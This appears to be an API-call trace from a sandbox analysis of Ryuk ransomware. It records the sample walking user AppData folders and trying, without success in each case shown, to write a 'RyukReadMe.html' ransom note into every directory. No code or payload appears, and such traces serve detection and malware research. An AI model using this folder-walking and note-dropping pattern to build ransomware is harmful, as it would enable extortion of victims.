	[0252.177] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.178] GetLastError () returned 0x3
	[0252.178] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.178] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0252.178] SetLastError (dwErrCode=0x0) 
	[0252.178] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.178] GetLastError () returned 0x3
	[0252.178] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.178] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.178] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.178] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x212, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1
	[0252.179] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x408bd0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x408bd0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x408bd0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x18388, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db", cAlternateFileName="{AFBF9~3.DB")) returned 1
	[0252.179] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 1
	[0252.179] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x212, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 0
	[0252.179] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.179] SetLastError (dwErrCode=0x0) 
	[0252.179] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.179] GetLastError () returned 0x3
	[0252.179] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.179] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.179] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0252.179] SetLastError (dwErrCode=0x0) 
	[0252.179] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.179] GetLastError () returned 0x3
	[0252.179] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.180] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.180] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.180] SetLastError (dwErrCode=0x0) 
	[0252.180] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.180] GetLastError () returned 0x3
	[0252.180] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.180] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0252.180] SetLastError (dwErrCode=0x0) 
	[0252.180] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.180] GetLastError () returned 0x3
	[0252.180] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.180] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.180] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.180] SetLastError (dwErrCode=0x0) 
	[0252.180] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.181] GetLastError () returned 0x3
	[0252.181] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.181] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0252.181] SetLastError (dwErrCode=0x0) 
	[0252.181] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.181] GetLastError () returned 0x3
	[0252.181] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.181] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.181] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.181] SetLastError (dwErrCode=0x0) 
	[0252.181] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.181] GetLastError () returned 0x3
	[0252.181] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.182] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0252.182] SetLastError (dwErrCode=0x0) 
	[0252.182] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.182] GetLastError () returned 0x3
	[0252.182] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.182] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.182] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.182] SetLastError (dwErrCode=0x0) 
	[0252.182] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.182] GetLastError () returned 0x3
	[0252.182] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.182] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0252.182] SetLastError (dwErrCode=0x0) 
	[0252.182] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.183] GetLastError () returned 0x3
	[0252.183] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.183] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.183] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.183] SetLastError (dwErrCode=0x0) 
	[0252.183] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.183] GetLastError () returned 0x3
	[0252.183] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.183] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0252.183] SetLastError (dwErrCode=0x0) 
	[0252.183] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.183] GetLastError () returned 0x3
	[0252.183] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
